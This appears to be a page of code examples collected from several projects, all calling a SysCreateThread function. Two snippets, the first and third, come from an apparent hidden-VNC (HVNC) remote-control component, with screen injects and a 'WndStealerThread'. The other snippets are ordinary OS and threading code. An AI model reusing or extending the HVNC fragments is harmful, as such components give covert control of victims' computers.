Пример #1
0
void StartWatcher(PHVNC lpServer)
{
    if (lpServer->WndWatcherInfo.bWatcherStarted)
        return;
    SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndWatcher,lpServer,true);
    return;
}
Пример #2
0
// 设备服务初始化
int device_init()
{
	deviceCount = 0;
	memset( deviceList, 0, sizeof(deviceList));
	deviceThread = SysCreateThread( SysGetCurrentSpaceId(), (size_t)&dev_service, 0, 0, 0 );
	return 0;
}
Пример #3
0
bool VNCStartServer(HVNC hVNC,HVNC_CONNECTION_INFO *lpConnInfo)
{
    bool bRet=false;
    if (bHVNCInit)
    {
        HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC);
        if ((lpHandle) && (!lpHandle->lpServer->bActive))
        {
            memcpy(&lpHandle->ConnInfo,lpConnInfo,sizeof(lpHandle->ConnInfo));
            PHVNC lpServer=lpHandle->lpServer;
            lpServer->bStopped=false;
            if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED))
                GetScreenInfo(lpServer);

            if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS))
            {
                lpServer->hSharedMemMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,lpServer->DIBInfo.dwScreenBufferSize,lpServer->Names.szSharedMemMappingName);
                lpServer->lpSharedMemMapping=(byte *)MapViewOfFile(lpServer->hSharedMemMapping,FILE_MAP_ALL_ACCESS,0,0,0);
            }
            InitScreen(lpServer,&lpServer->DIBInfo.lpOldBkgBits);
            ResetEvent(lpServer->EventsInfo.hVNCKillEvent);
            ResetEvent(lpServer->EventsInfo.hSendThreadMessageEvent);
            g_leave(hInputMutex);
            g_leave(hSharedMemMutex);
            g_leave(hPaintMutex);
            g_leave(hSendThreadMessageMutex);
            lpServer->bActive=true;
            lpHandle->hEvent=CreateEvent(NULL,true,false,NULL);
            SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)VNCServerThread,(LPDWORD)hVNC,true);
            WaitForSingleObject(lpHandle->hEvent,INFINITE);
            SysCloseHandle(lpHandle->hEvent);
            if (lpServer->bActive)
            {
                SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)ThreadsWatchThread,(LPDWORD)lpServer,true);
                bRet=true;
                if ((!lpServer->DeskInfo.bInputDesktop) && (!lpServer->DeskInfo.bWebCam))
                    SysCreateThread(lpServer,(LPTHREAD_START_ROUTINE)WndStealerThread,lpServer,true);
            }
            lpHandle->hEvent=NULL;
        }
    }
    return bRet;
}
Пример #4
0
Thread::Thread( Process * ps, size_t entry )
{
	int sid = ps->SpaceId(), tid=0;
	this->prev = this->next = 0;
	this->disposed = false;
	ti = 0;
	//setup thread information block Tib
	size_t remote_addr = (size_t)SysAllocateMemory( sid, PAGE_SIZE, MEMORY_ATTR_WRITE, ALLOC_HIGHMEM );
	if( remote_addr ==0  )
		goto bed;
	if( MapAddress( sid, SysGetCurrentSpaceId(), remote_addr, (size_t*)&ti ) < 0 )
		goto bed;
	memset( (void*)ti, 0, sizeof(ThreadInformation) );
	ti->StackLimit = MB(2);
	ti->StackBase = (size_t)SysAllocateMemory( sid, ti->StackLimit, MEMORY_ATTR_WRITE, ALLOC_LAZY );
	ti->ProcessInformation = ps->GetInformation()->Self;
	ti->Self = (ThreadInformation*)remote_addr;
	ti->Environment = 0;
	ti->ProcessId = ps->ProcessId();
	ti->ErrorCode = 0;
	ti->EntryAddress = entry;
	ti->SpaceInformation = 0;
	ti->SpaceId = sid;
	tid = SysCreateThread( sid, entry, ti->StackLimit, ti->StackBase, (void*)remote_addr );
	this->threadId = tid;
	this->spaceId = sid;
	ti->ThreadId = tid;
	if( tid < 0 )
		goto bed;
	this->process = ps;
	if( ps->mainThread ){
		Thread* t; 
		for( t=ps->mainThread; t->next; t=t->next );
		t->next = this;
		this->next = 0;
		this->prev = t;
	}else{
		this->prev = this->next = 0;
		ps->mainThread = this;
	}
	return;
bed:
	Dispose();
}
Пример #5
0
int pthread_create(pthread_t* thread,const pthread_attr_t* attr,void* (*startRoutine)(void*),void* args)
{
	pthread_cond_t signal;
	pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
	
	struct pthreadArgs pArgs;
	
	pArgs.startRoutine = startRoutine;
	pArgs.args = args;
	pArgs.signal = &signal;
	
	pthread_cond_init(&signal, 0);
	
	*thread = SysCreateThread(pthread_start, 0, &pArgs);
	
	/* Wait for the new thread to tell it's started up okay. */
	pthread_mutex_lock(&mutex);
	pthread_cond_wait(&signal, &mutex);
	pthread_mutex_unlock(&mutex);
	
	return 0;
}